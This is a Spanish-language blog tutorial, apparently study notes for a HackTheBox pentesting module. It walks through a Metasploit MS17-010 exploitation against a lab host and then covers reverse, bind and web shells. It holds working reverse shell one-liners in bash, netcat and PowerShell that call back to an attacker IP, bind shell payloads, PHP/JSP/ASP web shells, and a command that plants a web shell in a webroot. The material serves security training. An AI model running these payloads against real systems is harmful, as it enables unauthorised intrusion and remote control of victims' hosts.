[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.

Como podemos ver, así es. No todos los exploits de Metasploit aceptan la función check. Finalmente, usaremos el comando run o el comando exploit para ejecutarlo:

msf6 exploit(windows/smb/ms17_010_psexec) > exploit

[*] Started reverse TCP handler on 10.10.14.2:4444 
[*] 10.10.10.40:445 - Target OS: Windows 7 Professional 7601 Service Pack 1
[*] 10.10.10.40:445 - Built a write-what-where primitive...
[+] 10.10.10.40:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.10.10.40:445 - Selecting PowerShell target
[*] 10.10.10.40:445 - Executing the payload...
[+] 10.10.10.40:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.40:49159) at 2020-12-27 01:13:28 +0000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 39640 created.
Channel 0 created.
Windows 7 Professional 7601 Service Pack 1
(C) Copyright 1985-2009 Microsoft Corp.

C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM

Como podemos observar, hemos podido obtener acceso de administrador y hemos usado el comando shell para acceder a una shell interactiva. Estos son ejemplos básicos del uso de Metasploit para explotar una vulnerabilidad en un servidor remoto.
Metasploit es una de esas herramientas imprescindibles en nuestro kit de herramientas, pero también es crucial no confiar solo en ella. Para estar bien formados, debemos saber cómo sacar provecho a todas las herramientas que tenemos disponibles, comprender por qué a veces fallan y saber cuándo pivotar a técnicas manuales o a otras herramientas.

Tipos de Shells

Una vez hemos comprometido un sistema y explotado una vulnerabilidad para ejecutar comandos remotamente en dicho sistema, necesitaremos un método de comunicación con el sistema para no tener que andar explotando la misma vulnerabilidad a la hora de ejecutar cada comando. Para enumerar el sistema o tomar el control del mismo o de su red, necesitamos una conexión fiable que nos dé acceso directo a la shell del sistema (Bash, PowerShell), por lo que hemos de investigar el sistema remoto para seguir adelante.
Una forma de conectar a un sistema comprometido es a través de los protocolos de red como SSH o WinRM, los cuales pueden permitirnos un acceso remoto al sistema comprometido. Sin embargo, a no ser que obtengamos un conjunto de credenciales válidas, no podremos utilizar estos métodos sin antes ejecutar algunos comandos en el sistema remoto.
El otro método de acceso es a través de las shells. Como ya hemos visto, existen tres tipos principales de shell: Shell Reversa, Shell Vinculada y Shell de Web.

Shell Reversa

Es el tipo más común, así como el método más rápido y sencillo de obtener el control sobre un host comprometido. Una vez identificada una vulnerabilidad en el host remoto que permita la ejecución remota de código, podemos iniciar netcat en nuestra máquina para que escuche en un puerto específico, por ejemplo el 1234. Con este listener activado, podemos ejecutar un comando de shell reversa que conecte la shell del sistema remoto a nuestro netcat, lo cual nos dará una conexión reversa sobre el sistema remoto.

Netcat

El primer paso es iniciar netcat en un puerto de nuestra elección:

user@htb[/htb]$ nc -lvnp 1234

listening on [any] 1234 ...

Los modificadores usados son:

  • -l: modo escucha, para esperar a que una conexión nos llegue
  • -v: modo verbose, muestra cuándo hemos recibido la conexión
  • -n: deshabilita la resolución DNS y solo conecta desde/a IPs, para aumentar la velocidad de conexión
  • -p 1234: puerto por el que escucha netcat y al que debe ser enviada la conexión reversa

Una vez tenemos a netcat a la espera, podemos ejecutar el comando de shell reversa que conectará con nuestra máquina.

IP de conexión devuelta

Sin embargo, primero necesitamos conocer la IP de nuestro sistema para enviar una conexión de vuelta a nosotros. Podemos encontrar nuestra IP con el comando:

user@htb[/htb]$ ip a

...SNIP...

3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none
    inet 10.10.10.10/23 scope global tun0
...SNIP...

Nota: Estamos conectando a la IP en ‘tun0’ porque solo podemos conectar a las máquinas de HTB por la conexión VPN, ya que éstas no tienen conexión a Internet, y por lo tanto no pueden conectar a nosotros desde Internet usando ‘eth0’. En un pentest real, es posible que conectes directamente a la misma red o que realices la prueba de forma externa, por lo que seguramente conectarás a través del adaptador ‘eth0’ o similar.

Comando de shell reversa

El comando dependerá del sistema operativo del host comprometido y de a qué aplicaciones y comandos podemos acceder. La página de Payload All The Things contiene una buena lista de comandos de shell reversa que podemos utilizar para cubrir un amplio rango de opciones dependiento del host comprometido.
Ciertos comandos de shell reversa son más fiables que otros y se usan más a menudo para intentar la conexión reversa. Los comandos siguientes son algunos de los que podemos usar para conseguir una conexión reversa:

bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.10",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Podemos utilizar el exploit que tenemos sobre el host remoto para ejecutar uno de los comandos de arriba, por ejemplo, con un exploit en Python o con el módulo de Metasploit, para obtener una shell reversa. Una vez hecho, deberíamos recibir una conexión en nuestro netcat:

user@htb[/htb]$ nc -lvnp 1234

listening on [any] 1234 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.1] 41572

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Como se puede ver, después de recibir la conexión en nuestro listener, ya podemos escribir nuestros comandos y directamente estos se ejecutarán en la máquina remota.
Una Shell Reversa es útil cuando queremos una conexión rápida y fiable con el host comprometido. Sin embargo, la Shell Reversa puede ser muy frágil. Una vez perdida la conexión por el motivo que sea, hemos de usar de nuevo el exploit inicial para ejecutar el comando de shell reversa de nuevo para recuperar nuestro acceso.

Shell Vinculada

A diferencia de la Shell Reversa que conecta con nosotros, seremos nosotros quienes conectemos con el puerto en escucha del objetivo.
Una vez ejecutado un comando de Shell Vinculada, iniciará la escucha en un puerto del host remoto y vinculará la shell de ese host con ese puerto. Hemos de conectar a ese puerto con netcat y obtendremos el control a través de una shell en ese sistema.

Comando de shell vinculada

De nuevo, podemos usar la página Payload All The Things para encontrar el comando apropiado para iniciar nuestra shell vinculada.
Nota: iniciaremos una conexión a la escucha en el puerto ‘1234’ en el host remoto con la IP ‘0.0.0.0’ por lo que podremos conectar a él desde donde sea.
Estos son comandos fiables para obtener este tipo de shell:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

Conexión con netcat

Una vez hemos ejecutado el comando de la shell vinculada, deberíamos tener una shell esperándonos en el puerto especificado. Ahora podemos conectarnos a ella.
Podemos usar netcat para conectar a ese puerto y obtener conexión a la shell:

user@htb[/htb]$ nc 10.10.10.1 1234

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Como vemos aquí, se nos lleva directamente a una sesión de bash y podemos interactuar con el sistema objetivo de forma directa. A diferencia de la Shell Reversa, si perdemos nuestra conexión a una shell vinculada por cualquier motivo, podemos volver a conectar y obtener una nueva conexión inmediatamente. Sin embargo, si la shell vinculada se para por alguna razón, o si el host remoto es reiniciado, continuaríamos perdiendo el acceso al host remoto y habremos de usar el exploit de nuevo para obtener acceso.

Actualizando TTY

Una vez conectados a la shell a través de netcat, podemos ver que solo es posible escribir comandos o eliminar caracteres, pero no podemos mover el cursor a la izquierda o derecha para editar nuestros comandos, ni podemos ir arriba y abajo en el historial de comandos. Para poder hacerlo, necesitamos actualizar nuestro TTY. Esto se hace mapeando nuestro TTY de la terminal con el TTY remoto.
Existen múltiples formas de hacer esto. Nosotros usaremos el método python/stty. En nuestra shell de netcat, usaremos el siguiente comando para hacer que python actualice nuestra shell a un TTY completo:

user@htb[/htb]$ python -c 'import pty; pty.spawn("/bin/bash")'

Después de ejecutar este comando, pulsaremos ‘ctrl + z’ para mandar nuestra shell a segundo plano y recuperar nuestra terminal local, e introduciremos el siguiente comando de stty:

www-data@remotehost$ ^Z

user@htb[/htb]$ stty raw -echo
user@htb[/htb]$ fg

[Enter]
[Enter]
www-data@remotehost$

Una vez pongamos fg, nos devolverá nuestra shell de netcat a primer plano. En este punto, la terminal mostrará una línea en blanco. Podemos pulsar enter de nuevo para volver a nuestra shell o escribir reset para traerla de vuelta. Aquí tendríamos una shell TTY completamente funcional con historial de comandos y todo lo demás.
Nótese que nuestra shell no cubre la terminal por completo. Para arreglar esto, necesitamos algunas variables. Podemos abrir otra ventana de terminal en nuestro sistema, maximizar las ventanas o usar cualquier tamaño que queramos, y entonces introducir los siguientes comandos para obtener nuestras variables:

user@htb[/htb]$ echo $TERM

xterm-256color
user@htb[/htb]$ stty size

67 318

El primer comando que se nos muestra es la variable TERM, y el segundo muestra los valores para rows y columns, respectivamente. Ahora que tenemos nuestras variables, podemos volver a nuestro netcat y usar el siguiente comando para corregirlas:

www-data@remotehost$ export TERM=xterm-256color

www-data@remotehost$ stty rows 67 columns 318

Hecho esto, deberíamos tener una shell de netcat que use la terminal con todas sus características, justo como una conexión SSH.

Shell de Web

El último tipo de shell es la Shell de Web. Normalmente se trata de un script web (PHP o ASPX), que acepta nuestro comando a través de los parámetros de una petición HTTP, ya sea GET o POST, ejecuta el comando e imprime su salida en la página web.

Escribiendo una Shell de Web

Necesitamos escribir nuestra shell de web que tome nuestro comando a partir de una petición GET, lo ejecute e imprima su salida. Un script de este tipo suele estar formado por una línea, es muy corto y puede ser memorizado fácilmente. Lo que sigue son algunos scripts cortos para lenguajes comunes:

<?php system($_REQUEST["cmd"]); ?>
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
<% eval request("cmd") %>

Subiendo una shell de web

Una vez tenemos la shell, necesitamos colocar nuestro script en el directorio web de nuestro host remoto (webroot) para ejecutar el script mediante el navegador web. Esto se puede hacer por medio de una vulnerabilidad en una característica de la subida, la cual nos permite escribir una de nuestras shells a un archivo (shell.php) y subirlo, y entonces acceder a nuestro archivo subido para ejecutar comandos.
Sin embargo, si solo tenemos la ejecución de comandos remotos por medio del exploit, podemos escribir nuestra shell directamente en el webroot para aceder a la web. El primer paso es identificar dónde está el webroot. Lo que sigue son los webroots por defecto de los servidores web más comunes:

Servidor WebWebroot por defecto
Apache/var/www/html/
Nginx/usr/local/nginx/html/
IISc:\inetpub\wwwroot\
XAMPPC:\xampp\htdocs\

Podemos comprobar estos directorios para ver qué webroot está en uso y después usar echo para mandar nuestra shell. Por ejemplo, si estamos atacando un host Linux que corra Apache, podemos escribir una shell en PHP con el siguiente comando:

echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php

Accediendo a la shell de web

Una vez escrita nuestra shell, podemos acceder ya sea desde el navegador o mediante el uso de *cURL*. Visitamos la página *shell.php* en el sitio web comprometido, y usamos *?cmd=id* para ejecutar el comando *id*:

Otra opción es el uso de cURL:

user@htb[/htb]$ curl http://SERVER_IP:PORT/shell.php?cmd=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Como se puede ver, podemos cambiar el comando para obtener su salida. Una ventaja de la shell de web es que se saltaría cualquier restricción de cortafuegos, ya que no abrirá una nueva conexión en un puerto sino en el puerto web, ya sea el 80 o el 443, o el que esté utilizando la aplicación web. Otra ventaja es que si el host comprometido se reinicia, la shell seguirá en su sitio, y podemos acceder a ella y obtener ejecución de comandos sin utilizar exploits de nuevo.
Por otro lado, una shell de web no es tan interactiva como la reversa y la vinculada, ya que hemos de seguir solicitando distintas URL para ejecutar comandos. En casos extremos, se puede automatizar con un script de Python este proceso y darnos una shell de web semi-interactiva dentro de nuestra terminal.

Conclusiones

Y hasta aquí la segunda parte de este módulo. Aún queda más por enseñaros sobre él, pero eso lo dejo para siguientes entregas, ya que, como dije anteriormente, se trata de un módulo realmente largo. Próximamente veremos el tema de la escalada de privilegios y cómo se resuelve la máquina Nibbles de HackTheBox.

No dudéis en preguntarme lo que sea y en recomendar este blog a vuestros conocidos y familiares, quizás a alguno de ellos le pueda ser útil lo que explico aquí (nunca se sabe).

También podéis encontrarme en el instagram de @larutadelhacker, donde voy publicando algunas noticias y tips sobre ciberseguridad.

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.